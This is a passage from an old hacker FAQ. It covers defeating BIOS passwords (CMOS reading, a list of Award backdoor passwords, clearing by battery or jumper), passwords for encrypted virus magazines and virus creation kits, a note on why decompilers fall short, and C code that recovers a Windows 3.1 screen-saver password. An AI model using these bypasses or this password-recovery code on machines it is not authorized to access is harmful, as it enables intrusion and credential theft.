|
---------------------------------------------------------------------------
A-27. How do I defeat a BIOS password?
This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are
the most common.
Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.
Every BIOS must store this password information somewhere. If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored. Or, you must have a program that knows these things.
You can write your own program to read the CMOS memory on a PC by writing
the address of the byte of CMOS memory that you wish to read in port
0x370, and then reading the contents of port 0x371.
The most common pre-written BIOS password attack programs are for AMI
BIOS. Some password attack programs will return the AMI BIOS password
in plain text, some will return it in ASCII codes, some will return it
in scan codes. This appears to be dependent not just on the password
attacker, but also on the version of AMI BIOS.
To obtain AMI BIOS password attackers, ftp to oak.oakland.edu
/pub/simtelnet/msdos/sysutl/.
Award BIOS appears not to store the BIOS password, but instead only
stores a two byte checksum of the BIOS password. This means that any
other password with the same checksum will work just as well as the
original password.
In addition, Award BIOS seems to implement backdoor passwords. One
backdoor password is eight spaces. Other backdoor passwords are
"AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA",
"ZAAAADA", and "ZJAAADC." Remember that these may not be the actual
backdoor passwords, these passwords may simply have the same checksum as
the actual backdoor passwords. This checksum is stored at F000:EC60.
If you cannot access the machine after if has been powered up, it is
still possible to get past the password. The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.
On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove. If this is the case, you have another
alternative. Somewhere on the motherboard you should find a jumper that
will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard. If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the
battery. If you cannot locate this jumper, you might short both of the
points where the battery connects to the motherboard. Several people
have reported positive results from doing this, but I haven't wanted to
test it on any of my own motherboards.
---------------------------------------------------------------------------
A-28. What is the password for <encrypted file>?
This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>
Magazine Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party
Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak
---------------------------------------------------------------------------
A-29. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout:
Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.
If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.
OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.
OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?
Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.
For more information, check out http://csee.uq.edu.au/csm/decompilation/.
---------------------------------------------------------------------------
A-30. How does the MS-Windows password encryption work?
This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>:
The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.
Anyway, I will attempt to relay what I have learned about this algorithm.
I will describe the process starting after you've entered the password
and hit the [OK] button.
I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.
First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).
Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.
The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.
'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.
To 'decrypt' the password, the above procedure is just reversed.
Now, what you've all been waiting for. Here is some C code that will do
the dirty work for you:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}
CONTINUE TO SECTION B
|
